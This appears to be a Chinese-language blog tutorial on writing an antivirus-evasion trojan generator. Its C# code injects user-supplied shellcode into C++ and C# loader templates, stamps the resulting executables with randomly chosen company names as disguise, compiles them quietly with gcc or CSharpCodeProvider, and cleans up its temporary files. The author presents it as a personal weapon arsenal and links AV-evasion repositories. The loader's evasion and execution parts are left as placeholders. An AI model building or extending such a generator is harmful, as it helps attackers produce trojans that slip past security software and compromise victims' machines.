title: 从0到1编写免杀生成器
date: 2021-07-23 23:10:29
tags: 免杀


前言

免杀生成器的用途旨在攻防对抗中快速生成符合环境需求的免杀木马,减少因更换shellcode、加密方式或免杀方式被记录特征等因素而需从源码上进行修改编译的时间、学习成本。遂编写一款属于自己的免杀生成器形成自己的武器库是一件十分有意义的事情。

倒着走

一、免杀源码

免杀的源码网上有很多,源码中大致分为几块:shellcode、反沙箱、混淆加密方式、执行方式。
此处以C++源码为例:

  1. #include ....
  2. unsigned char buf[] = "shellcode";
  3. int main()
  4. {
  5. 反沙箱代码
  6. 混淆加密方式
  7. 执行方式
  8. return 0;
  9. }

网上有很多大佬们都分享过自己的思路,可以针对这几部分内容针对性的做自己需要的修改,此处不细讲。
参考:
https://www.ired.team/
https://idiotc4t.com/

二、编译源码

有了C免杀源码,那在平常项目中也可以使用Visual Studio或其他方式进行编译,但这不是本文本意。所以我们需要用C#写一个免杀生成器的框架,在后续使用中即可直接生成所需要配置的免杀木马。
为什么用C#而不用C编写框架?第一是因为C#上手要比C快(个人觉得),代码没有C那么复杂,学习成本低。第二是因为在微软的文档中并未找到关于在程序中对C代码编译的实现,所以编译C免杀源码时依旧需要使用GCC。第三是如果后续对于免杀方式的源码类型有新的需求,例如除C语言的免杀源码外还想加入C#语言的免杀源码时,正好可以使用微软已经实现的CSharpCodeProvider类来方便C#代码编译操作。没错[破涕为笑],微软实现了C#代码的编译,但是没实现C的。。。

从0到1编写免杀生成器 - 图1
从0到1编写免杀生成器 - 图2

对于在C#程序中调用gcc编译C代码,我们可以先将C代码写一个类里,如下C#代码:

  1. //CPP_Direct.cs
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7. namespace test
  8. {
  9. class CPP_Direct
  10. {
  11. public static string Base_Code = @"
  12. #include ....
  13. unsigned char buf[] = "shellcode";
  14. int main()
  15. {
  16. 反沙箱代码
  17. 混淆加密方式
  18. 执行方式
  19. return 0;
  20. }
  21. ";
  22. }

需要注意的是使用@符号时,2个双引号在输出时候等价于1个双引号,即@”….”;内的代码(C++/C#源代码)要把单引号再加一个单引号进行转义,另外比如shellcode段可以用两个花括号括起来,以便后面替换数据。修改后的代码如下:

.....

unsigned char buf[] = ""{{shellcode}}"";
.....

编译的代码是使用命令行调用GCC/C++来编译,示例如下:

//common.cs
//执行系统命令
        public static string Execute_Cmd(string cmd)
        {
            string output = "";
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.UseShellExecute = false;    //是否使用操作系统shell启动
            p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
            p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
            p.StartInfo.RedirectStandardError = true;//重定向标准错误输出
            p.StartInfo.CreateNoWindow = true;//不显示程序窗口
            p.Start();//启动程序
            //向cmd窗口发送输入信息
            p.StandardInput.WriteLine(cmd + "&exit");
            p.StandardInput.AutoFlush = true;
            //获取cmd窗口的输出信息
            output = p.StandardOutput.ReadToEnd();
            p.WaitForExit();//等待程序执行完退出进程
            p.Close();
            return output;
        }
//core.cs
//编译cpp源码
        public static bool CPP_Compiler(string arch, string source_path, string save_path, bool res = false)
        {
            string arch_cmd = " -m" + arch.Substring(0, 2);
            string compile_cmd = @"c++ -mwindows -o """ + save_path + @"""" + arch_cmd + @" """ + source_path + @"""";
            if (res)
            {
                compile_cmd += @" C:\\res.o";

            }
            if (!Common.Execute_Cmd(compile_cmd).Contains("rror:"))
            {
                return true;
            }
            return false;
        }

三、生成源码

有了免杀源码和编译方式,后面就需要前两者组合起来,将免杀的源码生成出来并且编译。
主要过程有生成随机的编译信息以及将免杀源码中”{{shellcode}}”段进行替换,随后将完整代码生成出来编译。
示例如下:

//core.cs
//生成CPP_Direct源码并编译
        public static bool Gen_CPP_Direct(string shellcode, string arch, string path)
        {//需要修改
            string finalcode;
            //生产随机编译信息
            Random r = new Random();
            int n = r.Next(0, Global.Company_name.Length - 1);
            string comname = Global.Company_name[n];
            string c_compile_info = Global.compile_info.Replace("{{companyname}}", comname);
            //写入文件
            System.IO.File.WriteAllText("C:\\res.rc", c_compile_info);
            string res_cmd = "windres C:\\res.rc C:\\res.o";
            //位数判断
            if (arch.StartsWith("32"))
            {
                res_cmd += " --target=pe-i386";
            }
            Common.Execute_Cmd(res_cmd);
            bool icon_set = System.IO.File.Exists("C:\\res.o");
            finalcode = CPP_Direct.Base_Code.Replace("{{shellcode}}", shellcode)
            //保存代码到临时文件
            string temp_path = @"C:\TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".cpp";
            System.IO.File.WriteAllText(temp_path, finalcode);
            //编译
            if (CPP_Compiler(arch, temp_path, path, icon_set))
            {
                System.IO.File.Delete(temp_path); //测试时记得注释掉这段,可以在C盘下看到源码
                System.IO.File.Delete("C:\\res.o");
                System.IO.File.Delete("C:\\res.rc");
                return true;
            }
            else
            {
                System.IO.File.Delete(temp_path);
                System.IO.File.Delete("C:\\res.o");
                System.IO.File.Delete("C:\\res.rc");
                return false;
            }
        }

四、触发事件

以上流程都走完后,我们就需要画一个窗体应用程序,可以加上自己所需要的功能进行开发。
以此处为例就只需要一个填写shellcode的文本框、一个生成按钮以及一个保存文件位置的控件。
画好后双击生成按钮进入编写触发事件的代码:

//Form1.cs 
private void button1_Click(object sender, EventArgs e)
        {
            saveFileDialog1.Filter = "可执行文件|*.exe";
            if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "") && (richTextBox1.Text.Trim() != ""))
            {
                bool result = false;
                if (comboBox2.Text == "CPP_Direct")
                {
                    result = Core.Gen_CPP_Direct(richTextBox1.Text, comboBox1.Text, saveFileDialog1.FileName);
                }
                if (result)
                {
                    MessageBox.Show("生成成功!", "成功");
                    return;
                }
                else
                {
                    MessageBox.Show("生成失败!请检查你的输入", "失败");
                    return;
                }
            }
            else
            {
                return;
            }
        }

五、C#免杀代码编译

上面都是用C#窗体程序编译C++做的演示,如果需要添加C#语言的免杀源码。我们可以使用CSharpCodeProvider类来操作。
首先创建一个用来编译C#语言免杀代码的类(下面代码抄就完事了):

//compiler.cs
using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace A
{
    class Compiler
    {
        CSharpCodeProvider provider = new CSharpCodeProvider();
        CompilerParameters parameters = new CompilerParameters();
        public Compiler()
        {
            parameters.ReferencedAssemblies.Add("System.Core.dll");
            parameters.GenerateInMemory = false;
            parameters.GenerateExecutable = true;
            parameters.IncludeDebugInformation = false;
            parameters.ReferencedAssemblies.Add("mscorlib.dll");
            parameters.ReferencedAssemblies.Add("System.dll");
        }
        public void compileToExe(String code, String Arch, String filePath)
        {
            parameters.OutputAssembly = filePath;
            parameters.CompilerOptions = Arch;
            CompilerResults results = provider.CompileAssemblyFromSource(parameters, code);
            if (results.Errors.HasErrors)
            {
                StringBuilder sb = new StringBuilder();
                foreach (CompilerError error in results.Errors)
                {
                    sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText));
                }
                throw new InvalidOperationException(sb.ToString());
            }
        }
    }
}

C#免杀代码同样也是放在一个类里,如上二的前半部分,修改好单引号问题和加双花括号做标记。不同的是编译时直接调用上面写好的Compiler类直接生成,跳过源码生成输出本地的步骤。示例代码如下:

//core.cs        
//生成CS源码并编译
        public static bool Gen_CS_Base(string xor_shellcode,  string arch, string path)
        {
            string target_arch = "/platform:x86 /optimize /target:winexe ";
            if (arch.StartsWith("6"))
            {
                target_arch = target_arch.Replace("86", "64");
            }
            string finalcode = "";
            finalcode = CS_Base.Base_Code.Replace("{{xor_shellcode}}", xor_shellcode)//替换添加shellcode
            //编译
            Compiler compiler = new Compiler();
            compiler.compileToExe(finalcode, target_arch, path);
            //System.IO.File.WriteAllText(@"C:\22222222222222222222code.txt", finalcode);//需要看源码对不对就取消注释
            return true;
        }

最后在加上生成按钮的触发事件即可。

回头看

通过以上,一个简陋的生成器便做好了,整体过程如下:
填写shellcode->触发生成按钮事件->替换shellcode数据进源码->生成源码文件(C#跳过)->编译源码
根据这个流程,我们可以在此基础上添加自己需要的其他功能,如shellcode混淆加密、反沙箱、生成dll文件等等。
另外可以将混淆加密方式独立成一个类,选择不同的加密方式时只需将对应的代码替换进相应的源码,随后编译即可,同理也可以将执行方式和反沙箱方式都独立出来。

参考:

https://github.com/1y0n/AV_Evasion_Tool
https://github.com/knownsec/shellcodeloader
https://www.ired.team/
https://idiotc4t.com/